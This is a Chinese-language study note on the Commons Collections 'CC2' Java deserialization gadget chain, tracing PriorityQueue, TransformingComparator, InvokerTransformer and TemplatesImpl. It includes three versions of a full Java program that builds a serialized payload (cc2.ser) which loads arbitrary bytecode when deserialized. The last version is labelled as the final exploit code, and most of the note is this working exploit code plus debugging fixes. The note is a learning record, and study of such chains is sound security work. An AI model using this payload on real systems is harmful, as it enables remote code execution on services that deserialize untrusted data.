CC2学习记录
🌸 CC2
其实CC2和前面都是差不多的,变化是很小的。只是链子的方向改了。依然通过调用TemplateImpl的newTransformer方法进行动态类加载。只不过是直接通过InvokerTransformer类中的transform方法来调用。
🌸 分析
首先回顾一下InvokerTransformer类,在这个类中的构造器是这样的:
它主要接收了三个参数,分别是方法名、参数名和参数值;在他的transform方法中:
接收的参数是一个对象,通过反射从而获取到对应的Class,然后通过由于前面的构造器传递了方法名、参数的类型和参数值等信息。
所以这里我们就可以通过创建一个InvokerTransformer,传递的方法就是我们要调用的newTransformer
,而因为newTransformer方法是一个无参数的方法,所以InvokerTransformer的构造器中,就不需要传递参数的类型和参数的值。
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
这里就需要继续往上面去找,谁调用了InvokerTransformer类的transform方法,此时就找到了cc4的前面的半条链子。此时就找到了TransformingComparator
类中的compare
方法中调用了transform
方法。
所以到这里的话整个链子目前是这样的:
TransformingComparator#compare
->InvokerTransformer#transform()
->Templatelmpl#newTransformer()
结合上cc4的链子就好了!
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameFeild = templatesClass.getDeclaredField("_name");
nameFeild.setAccessible(true);
nameFeild.set(templates,"aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//此时就回到了cc4的上半条链子
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
serialization(priorityQueue);
// deserialization();
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void deserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc2.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
}
大概的整个流程如上,我们先尝试运行看看!
发现序列化和反序列化都是直接结束了,并没有弹窗!进行调试!
🌸 调试#解决问题
断点直接下在readObject方法中的heapify方法中:
第一步还是出现了cc4的类似问题,在heapify方法中,size就是1,经过右移1位之后,变成了0,i=0-1,其实是-1,此时的for循环不成立,直接无法进入到for循环里面。
所以我们还是需要再add一个。先尝试随便add一个值看看。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameFeild = templatesClass.getDeclaredField("_name");
nameFeild.setAccessible(true);
nameFeild.set(templates,"aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//此时就回到了cc4的上半条链子
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
serialization(priorityQueue);
deserialization();
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void deserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc2.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
}
增加代码之后,发现出现了
问题就是出现在了我们新增加的代码priorityQueue.add(2);
中!再次调试:(断点断在新增加的代码处!)
跟进到add方法中,发现obj1的值是我们第二个传进去的值2,直接将add(2)改为add(templates),再次尝试!发现又报错了:
其实这里和之前cc4的报错是一样的,在序列化的时候,就执行了代码,所以我们在add之前呢,尝试修改transformingComparator里面的参数值为其他的值,让他不执行代码!
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameFeild = templatesClass.getDeclaredField("_name");
nameFeild.setAccessible(true);
nameFeild.set(templates,"aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//此时就回到了cc4的上半条链子
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class<? extends TransformingComparator> aClass = transformingComparator.getClass();
Field transformerField = aClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,invokerTransformer);
// serialization(priorityQueue);
deserialization();
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void deserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc2.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
}
最终利用代码如上!
整个链子其实是:
priorityQueue#readOBject
priorityQueue#heapify
priorityQueue#siftDown
priorityQueue#siftDownUsingComparator
TransformingComparator#compare
InvokerTransformer#transform()
Templatelmpl#newTransformer()